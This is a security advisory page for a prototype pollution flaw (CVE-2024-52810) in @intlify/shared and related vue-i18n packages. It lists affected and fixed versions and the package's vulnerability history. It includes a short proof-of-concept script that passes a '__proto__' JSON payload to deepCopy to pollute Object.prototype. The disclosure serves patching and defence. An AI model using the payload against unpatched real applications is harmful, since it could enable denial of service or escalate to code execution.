Medium

@intlify/shared Prototype Pollution vulnerability

  • Disclosed: 02.12.2024
  • Updated: 11.10.2026 10:22

Vulnerability type: Prototype Pollution

Affected Package:

Product: @intlify/shared Version: 10.0.4

Vulnerability Location(s):

node_modules/@intlify/shared/dist/shared.cjs:232:26

Description:

The latest version of @intlify/shared (10.0.4) is vulnerable to Prototype Pollution through the entry function(s) lib.deepCopy. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) the minimum consequence.

Moreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.

PoC:

bash
// install the package with the latest version
~$ npm install @intlify/shared@10.0.4
// run the script mentioned below 
~$ node poc.js
//The expected output (if the code still vulnerable) is below. 
// Note that the output may slightly differs from function to another.
Before Attack:  {}
After Attack:  {"pollutedKey":123}
js
(async () => {
const lib = await import('@intlify/shared');
var someObj = {}
console.log("Before Attack: ", JSON.stringify({}.__proto__));
try {
// for multiple functions, uncomment only one for each execution.
lib.deepCopy (JSON.parse('{"__proto__":{"pollutedKey":123}}'), someObj)
} catch (e) { }
console.log("After Attack: ", JSON.stringify({}.__proto__));
delete Object.prototype.pollutedKey;
})();

References

Prototype Pollution Leading to Remote Code Execution - An example of how prototype pollution can lead to command code injection.

OWASP Prototype Pollution Prevention Cheat Sheet - Best practices for preventing prototype pollution.

PortSwigger Guide on Preventing Prototype Pollution - A detailed guide to securing your applications against prototype pollution.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package @intlify/shared >= 9.7.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
npm package @intlify/vue-i18n-core >= 9.7.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
npm package petite-vue-i18n >= 10.0.0, < 10.0.5 10.0.5
npm package vue-i18n >= 9.7.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness (CWE)
CWE-1321
Platform
npm
Package
@intlify/shared, @intlify/vue-i18n-core, petite-vue-i18n
Disclosed
02.12.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-hjwq-mjwj-4x6c - CC BY 4.0

Vulnerability history: vue-i18n

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
12.2024 07.2025
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 1
  • Medium 3

Disclosures per year

  1. 2024: 2
  2. 2025: 2
  3. 2026: 0
  1. Medium CVE-2025-53892 >= 9.0.0, < 9.14.5, >= 10.0.0, < 10.0.8, >= 11.0.0, < 11.1.10 9.14.5, 10.0.8, 11.1.10
  2. High CVE-2025-27597 >= 9.1.0, < 9.14.3, >= 10.0.0-alpha.1, < 10.0.6, >= 11.0.0-beta.0, < 11.1.2 9.14.3, 10.0.6, 11.1.2
  3. @intlify/shared Prototype Pollution vulnerability this entry
    Medium CVE-2024-52810 >= 9.7.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5
  4. Medium CVE-2024-52809 >= 9.3.0, < 9.14.2, >= 10.0.0, < 10.0.5 9.14.2, 10.0.5

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.